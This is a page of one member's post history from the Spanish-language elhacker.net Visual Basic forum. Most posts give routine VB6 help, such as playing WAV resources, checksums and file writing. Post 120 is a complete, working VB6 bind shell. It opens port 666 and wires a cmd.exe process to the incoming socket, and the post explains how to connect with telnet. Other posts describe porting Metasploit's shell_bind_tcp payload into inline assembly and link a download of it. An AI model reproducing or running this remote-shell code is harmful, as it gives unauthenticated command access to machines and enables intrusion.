elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 75
111  Programación / Programación Visual Basic / Re: Load wav file from res in a dll en: 19 Enero 2010, 20:23 pm
Actually theres a simpler way to do it, the only thing you have to do is use some resource editor(Resource Builder will work) add the resource as WAVE instead of CUSTOM and then some code like this one.

Código:
Private Declare Function PlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long

Private Const LOAD_LIBRARY_AS_DATAFILE As Long = &H2
Private Const SND_ASYNC As Long = &H1
Private Const SND_RESOURCE As Long = &H40004


Private Sub Form_Load()
    Dim lLib As Long
    
    lLib = LoadLibraryEx("C:\Documents and Settings\Cobein\Escritorio\proyecto1.dll", 0, LOAD_LIBRARY_AS_DATAFILE)
    Debug.Print PlaySound("WAVE_0", lLib, SND_ASYNC Or SND_RESOURCE)
    
End Sub
112  Programación / Programación Visual Basic / Re: Problema con codigo!!! en: 16 Enero 2010, 01:07 am
Si, eso puede pasar con o sin buffer, lo unico que podes hacer es cuando mandas los datos del archivo es mandar un checksum (crc32,md5,etc) para aseguararte que no este corrupto el arhivo.

Teoricamente el protocolo tendria que asegurar la llegadas de todos los paquetes, pero en VB esto no pasa siempre, ocasionalmente se pierden  paquetes, mas que nada cuando se utilizan multiples sockets.

PD: podrias mirar el codigo que posteo Leandro hace unos dias para guardar la imagen en JPG asi te ahorras unos cuantos bytes en la transferencia.
113  Programación / Programación Visual Basic / Re: [RESUELTO] Capturar imagen al hacer click en: 16 Enero 2010, 00:15 am
No peleen chicas, si alguien tiene "derecho" a quejarse es Leandro y si el no lo hizo.....
114  Programación / Programación Visual Basic / Re: Problema con codigo!!! en: 16 Enero 2010, 00:08 am
Mira sin correr el codigo es dificil saber cual es el problema (si no es algo obvio) pero puede que esto "Temporal = Temporal + Texto" te este dando dolores de cabeza cambia el + por un &.
De igual manera sera mejor que pongas los datos recibidos en el archivo de una, no hay necesidad de usar un buffer.

algo asi:

Código:
            Open nomFile For Binary As #1
            Put #1, lof(1)+1, Texto
            Close #1
115  Programación / Programación Visual Basic / Re: [Duda] Capturar imagen al hacer click en: 11 Enero 2010, 15:09 pm
Che Leandro, porque inicializas GDI+ cada vez que vas a guardar la imagen en vez de hacerlo en StartMouseCapture y terminarlo en StopMouseCapture? es para que no explote?
116  Programación / Programación Visual Basic / Re: Inline ASM shell using Metasploit Payload [SRC] en: 7 Enero 2010, 23:55 pm
:silbar: me enseñas?

No, no soy profesor. Pero si queres aprender podes empezar por este articulo que habla de shellcodes y mas especificamente de como hacer un bind shell. http://goodfellas.shellcode.com.ar/docz/asm/WritingSmallShellcode.pdf

Por lode parchar el vTable, hay un articulo muy interesante que este momento no encuentro. Mas tarde cuando lo vea lo posteo.
117  Programación / Programación Visual Basic / Re: Inline ASM shell using Metasploit Payload [SRC] en: 7 Enero 2010, 01:42 am
Pense en poner una descripcion un poco mas elaborada pero no vale de nada si no se entienden los conceptos basicos que involucra este tipo de code.

Por eso puse de titulo ASM inline y aclare que era un payload de Metasploit AKA shellcode, el que sabe lo que es va a saber de que se trata el post.
118  Programación / Programación Visual Basic / Re: Inline ASM shell using Metasploit Payload [SRC] en: 5 Enero 2010, 21:00 pm
O_o
119  Programación / Programación Visual Basic / Inline ASM shell using Metasploit Payload [SRC] en: 5 Enero 2010, 10:12 am
Estaba jugando con metasploit y se me ocurrio pasar uno de los payloads a VB el shell_bind_tcp.rb que es una shell.

http://www.advancevb.com.ar/wp-content/2010/01/Inline-Shell.zip
120  Programación / Programación Visual Basic / Re: Ayuda con CMD Pipe vb6 en: 14 Diciembre 2009, 05:23 am
Bien, aca esta el ejemplo

Código:
'---------------------------------------------------------------------------------------
' Module      : mMS
' DateTime    : 12/13/2009 20:16
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Remote shell
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : NGS - Writing small shellcode paper
'
' History     : 12/13/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit

Private Const INFINITE              As Long = &HFFFF
Private Const SOCK_STREAM           As Long = 1
Private Const AF_INET               As Long = 2
Private Const IPPROTO_TCP           As Long = 6
Private Const STARTF_USESTDHANDLES  As Long = &H100
Private Const STARTF_USESHOWWINDOW  As Long = &H1

Private Const WSADESCRIPTION_LEN    As Long = 257
Private Const WSASYS_STATUS_LEN     As Long = 129

Public Type WSAData
    wVersion                As Integer
    wHighVersion            As Integer
    szDescription           As String * WSADESCRIPTION_LEN
    szSystemStatus          As String * WSASYS_STATUS_LEN
    iMaxSockets             As Integer
    iMaxUdpDg               As Integer
    lpVendorInfo            As Long
End Type

Public Type sockaddr_in
    sin_family              As Integer
    sin_port                As Integer
    sin_addr                As Long
    sin_zero(1 To 8)        As Byte
End Type

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadId              As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As String
    lpDesktop               As String
    lpTitle                 As String
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Byte
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Declare Function WSAStartup Lib "ws2_32.dll" (ByVal wVR As Long, lpWSAD As WSAData) As Long
Private Declare Function WSACleanup Lib "ws2_32.dll" () As Long
Private Declare Function bind Lib "ws2_32.dll" (ByVal s As Long, ByRef name As sockaddr_in, ByRef namelen As Long) As Long
Private Declare Function listen Lib "ws2_32.dll" (ByVal s As Long, ByVal backlog As Long) As Long
Private Declare Function accept Lib "ws2_32.dll" (ByVal s As Long, ByRef addr As sockaddr_in, ByRef addrlen As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
Private Declare Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal lType As Long, ByVal protocol As Long, ByRef lpProtocolInfo As Any, ByRef g As Any, ByVal dwFlags As Long) As Long
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Long) As Long

Public Sub Main()
    Dim lSock       As Long
    Dim tSA         As sockaddr_in
    Dim tWD         As WSAData
    Dim lHandle     As Long
   
    Const PORT As Long = 666
   
    If WSAStartup(&H101, tWD) = 0 Then
        lSock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, ByVal 0&, ByVal 0&, ByVal 0&)
   
        If Not lSock = -1 Then
       
            With tSA
                .sin_family = 2
                .sin_port = htons(PORT)
            End With
           
            If bind(lSock, tSA, Len(tSA)) = 0 Then
   
                If listen(lSock, 0&) = 0 Then
   
                    lHandle = accept(lSock, tSA, Len(tSA))
   
                    Dim tSTARTUPINFO            As STARTUPINFO
                    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
                    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
   
                    tSECURITY_ATTRIBUTES.nLength = Len(tSECURITY_ATTRIBUTES)
                   
                    With tSTARTUPINFO
                        .cb = Len(tSTARTUPINFO)
                        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
                        .hStdInput = lHandle
                        .hStdOutput = lHandle
                        .hStdError = lHandle
                    End With
   
                    If CreateProcessA(vbNullString, "cmd", _
                       tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, True, 0, _
                       0&, CurDir, tSTARTUPINFO, tPROCESS_INFORMATION) Then
   
                        Call WaitForSingleObject(tPROCESS_INFORMATION.hProcess, INFINITE)
                       
                    End If
                End If
            End If
           
            Call closesocket(lHandle)
        End If

        Call WSACleanup
    End If
End Sub

Algunas cosas para que tengan en cuenta.

1- el codigo se va a freezar a la espera de una conexión
2- hay muchas estructuras que se pueden obviar pero las deje pora que el ejemplo sea mas claro.
3- se pueden conectar usando telnet (open localhost 666) en Vista y no se si en 7 telnet no esta instalado por defecto.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ... 75
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines